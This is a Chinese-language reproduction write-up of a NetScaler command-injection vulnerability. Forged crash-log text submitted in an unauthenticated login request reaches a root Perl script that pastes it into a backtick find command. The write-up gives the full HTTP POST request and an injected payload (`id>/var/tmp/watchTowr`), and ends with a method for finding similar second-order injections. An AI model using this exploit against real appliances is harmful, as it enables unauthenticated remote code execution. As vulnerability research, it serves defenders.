CVE-2026-88771 复现

0x01 漏洞信息

  • CVE 编号:CVE-2026-88771
  • 漏洞类型:命令注入。由于输入校验不当,允许未认证攻击者执行任意命令,默认配置即可触发
  • 漏洞位点:ns_monuploadd_err.pl,一个 Perl 运维脚本,而非 nsppe 二进制

0x02 触发方式

向 /nf/auth/doAuthentication.do 发一个未认证的 POST 登录请求,login 字段携带伪造的 pitboss 崩溃记录(URL 全编码):

1
2
3
4
5
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded

login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;`id>/var/tmp/watchTowr`;# X<@/urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=LogOn

<@urlencode_all>...<@/urlencode_all> 是 Burp Intruder 的 payload 处理标记,发送时 login 值会被整体 URL 编码。

登录流程会把用户输入完整保存到日志中,ns_monuploadd_err.pl 文件会定期读取日志并提取特定格式的字符串,并拼接进 find 命令执行,导致攻击者注入的恶意命令被执行。

0x03 漏洞原理

PPE 与漏洞位点

PPE(即设备上的 nsppe 二进制)处理所有流经设备的流量包,每颗 CPU 核心会负责一个 PPE 实例。由于 PPE 直接解析互联网进来的每一个字节,因此历史中绝大多数未认证漏洞都出自它。

然而,CVE-2026-88771 不在这个二进制里,而出现在 NetScaler 对 PPE 进行崩溃后处理的辅助脚本层(ns_monuploadd_err.pl)中。

nsppe 的崩溃处理机制

  • pitboss 进程:统一拉起并监控每个 CPU 核心的 PPE,PPE 需定时上报存活信号;
  • PPE 死亡(段错误 / abort):进程消失,内核自动把进程内存镜像转储成 core 文件落在 /var/core/,命名 NSPPE-<编号>-<PID>(如 NSPPE-00-12345);
  • PPE 卡住:pitboss 主动杀掉重拉。

随后 pitboss 往共享日志(/var/log/ns.log)写一行死亡通知,然后重启 PPE,流量恢复:

1
pitboss: NSPPE-00 (12345) unexpectedly died

ns_monuploadd_err.pl

PPE 崩溃后收集 core 文件、上传错误报告的监控脚本(周期运行,最长 24h):从日志中提取准确的内核转储文件名,并执行 find 指令,读取文件的详细路径以供后续处理。

1
2
3
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @NR_FILES | tail -1 |
sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' |
awk '{ print $1"-"$2 }';`

提取链路:

  • grep:从日志中(/var/log/ns.log)提取 pitboss.*PPE.*missed too many heartbeats 与 pitboss.*PPE.*unexpectedly died 两种格式的行;
  • tail -1:保留最后一条(即最后一次崩溃);
  • sed:删除 NSPPE 之前的前缀和整个字段中的括号;
  • awk:取前两个以空白相隔的字段并用 - 连接,与内核 core 命名规则 NSPPE-<编号>-<PID> 精确对应。

以这条日志为例:

1
pitboss: NSPPE-00 (12345) unexpectedly died
  • grep 与 tail -1 将这条日志提取并保留;
  • sed 删除 NSPPE 之前的前缀和整个字段中的括号,得到 NSPPE-00 12345 unexpectedly died;
  • awk 取前两个字段并用 - 连接,得到 NSPPE-00-12345。

find 模板

1
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

上一步的产出不做任何校验,直接插值。这段代码把 ${WR_PPE_COREFILE_NAME} 替换成变量里的值、$OFF_DIR 替换成目录前缀。假设变量值是 NSPPE-00-12345,填完后这段文字变成:

1
find /var/core -name NSPPE-00-12345* -print | tail -1

在 Perl 语言规范中,反引号用于把命令交给 shell 执行并捕获输出,因此这里的执行效果就是读取以 NSPPE-00-12345 开头的文件并将输出返回给 Perl 脚本,随后将文件找到并打包,作为给 Citrix 的崩溃诊断证据。

问题所在

作为一个日志处理程序,其默认日志内容是系统生成的且安全的(听起来似乎没什么问题?)

然而:为用于日志审计,/var/log/ns.log 会原样保存用户在认证过程的输入(即使认证失败)。攻击者可控日志的部分写入内容,因此这份共享日志可以同时出现:

1
2
pitboss: NSPPE-00 (12345) unexpectedly died
AAAD API: sending login req to aaad for <任意字符串>...

构造 payload

如果这个任意字符串是 core 崩溃后日志的格式呢?导致以下日志被写入:

1
2
3
<local0.info> xxxxxx 0-PPE-0 : default SSLVPN Message 675 0 : "AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor <xxxxx>, auth type 4129, trans id 1350"
<local1.info> xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X, vsid :11813, userlen 70
<local0.info> xxxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"

伪造的日志经过同一条管道处理(三行均能被 grep 匹配,tail -1 保留最后一条):

  • grep:匹配 pitboss.*PPE.*unexpectedly died 行;
  • sed:删除 NSPPE 之前的前缀和整个字段中的括号,得到:
1
NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"
  • awk:取前两个以空白相隔的字段并用 - 连接,得到:
1
NSPPE;:`id>/var/tmp/watchTowr`;#-X>,

命令执行

这里就会执行:

1
find /var/core -name NSPPE;:`id>/var/tmp/watchTowr`;#-X>,* -print | tail -1
  • find /var/core -name NSPPE:寻找名为 NSPPE 的文件;
  • :`id>/var/tmp/watchTowr`:执行 payload;
  • #-X>,* -print | tail -1:被 # 注释掉。

0x04 攻击者最初可能是怎么挖到的?

推测:读文件,而不是打二进制。

NetScaler 的应用主体分为三层:

层 组成 特点
应用主体 nsppe(二进制) 处理数据 / 认证面前台
守护进程层 nsaaad(认证后台)、pitboss、httpd(管理面)等 常驻、编译型
辅助脚本层 /netscaler 下 Perl/Shell 脚本,如 ns_monuploadd_err.pl 明文、root、cron 驱动

挖掘路径:

1
2
3
4
5
6
7
8
9
审计脚本层(形状扫描:grep 反引号 / 两段式插值)
↓
发现命令注入汇点(ns_monuploadd_err.pl 的 grep|sed|awk → find 反引号)
↓
沿汇点输入反向溯源 → 锁定中间存储(grep 模式指向的日志文件)
↓
追溯该存储的写入者 → 未认证可达源点(AAAD 登录日志)
↓
验证触发(nsmonuploadd 周期 / 强制手段)

0x05 类似漏洞的挖掘思路

辅助脚本层审计:

特权消费者(root 脚本)+ 共享存储(日志/文件)+ 未认证生产者(表单/UA)= 二阶注入流

参考